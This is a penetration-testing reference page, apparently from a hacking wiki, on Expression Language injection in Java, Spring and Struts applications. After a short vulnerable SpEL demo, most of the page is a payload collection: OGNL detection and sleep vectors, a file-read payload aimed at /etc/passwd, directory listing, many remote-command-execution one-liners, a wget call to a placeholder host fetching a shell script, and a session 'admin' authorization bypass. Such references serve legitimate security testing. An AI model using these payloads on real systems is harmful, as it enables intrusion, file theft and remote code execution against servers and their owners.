# EL - Expression Language

## Basic Information

EL  provides an important mechanism for enabling the presentation layer \(web pages\) to communicate with the application logic \(managed beans\).

### Where is it used ?

1. Spring Framework: Security, Data, …
2. **Any place developers use it by SpEL API**
3. For languages it can be used in Java, Kotlin, Scala, and other JVM based technologies.

The EL is used by **several JavaEE technologies**, such as JavaServer Faces technology, JavaServer Pages \(JSP\) technology, and Contexts and Dependency Injection for Java EE \(CDI\). The EL can also be used in stand-alone environments.

Java applications are **easily recognizable** as they tend to use extensions as **.jsp** or **.jsf**, throw **stack errors** and use **term like "Serverlet" in the headers**.

{% hint style="info" %}
Depending on the **EL version** some **features** might be **On** or **Off** and usually some **characters** may be **disallowed**.
{% endhint %}

## Basic Example

\(You can find another interesting tutorial about EL in [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)\)

Download from the [**Maven**](https://mvnrepository.com/) repository the jar files:

* `commons-lang3-3.9.jar` 
* `spring-core-5.2.1.RELEASE.jar`
* `commons-logging-1.2.jar` 
* `spring-expression-5.2.1.RELEASE.jar`

And create a the following `Main.java` file:

```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static ExpressionParser PARSER;

    public static void main(String[] args) throws Exception {
        PARSER = new SpelExpressionParser();

        System.out.println("Enter a String to evaluate:");
        java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
        String input = stdin.readLine();
        Expression exp = PARSER.parseExpression(input);
        String result = exp.getValue().toString();
        System.out.println(result);
    }
}
```

Next compile the code \(if you don't have `javac` installed, install `sudo apt install default-jdk`\):

```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```

Execute the application with:

```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
```

Note how in the previous example the term `{5*5}` was **evaluated**.

## **CVE Example**

From you have already see I bet you know what is coming. If developers are using SpEL with user input, we need to create payload with injection. Let’s check one that allow remote code execution \(RCE\). It was created as part of exploit for [CVE-2017–8046](https://github.com/m3ssap0/SpringBreakVulnerableApp).

![Image for post](https://miro.medium.com/max/1933/1*qyl6ZLeJOyXmxmdqMcT8tg.png)

It consist of 3 parts:

* black color — copy result of command execution directly to output stream of HTTP request
* red color — get Java Runtime and execute command in system
* blue color — String containing command: `cmd /c dir`. To make it more robust individual characters of command are decoded from numbers.

Result of executing it:

![Image for post](https://miro.medium.com/max/982/1*APSYwU3qbw0rNJAd2xhdNA.png)

## Payloads

### Basic actions

```bash
#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
```

### Detection

* Burp detection

```bash
gk6q${“zkz”.toString().replace(“k”, “x”)}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
```

* J2EE detection

```bash
#J2EEScan Detection vector (substitute the content of the response body with the content of the “INJPARAM” parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
```

* Sleep 10 secs

```bash
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```

### Remote File Inclusion

```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
```

### Directory Listing

```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
```

### RCE

* Basic RCE **explanation**

```bash
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]
```

* RCE **linux**

```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```

* RCE **Windows** \(not tested\)

```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```

* **More RCE**

```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
```

### Inspecting the environment

* `applicationScope` - global application variables
* `requestScope` - request variables
* `initParam` - application initialization variables
* `sessionScope` - session variables
* `param.X` - param value where X is the name of a http parameter

You will need to cast this variables to String like:

```bash
${sessionScope.toString()}
```

#### Authorization bypass example

```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```

The application can also use custom variables like:

```bash
${user}
${password}
${employee.FirstName}
```

## References

* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md\#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)

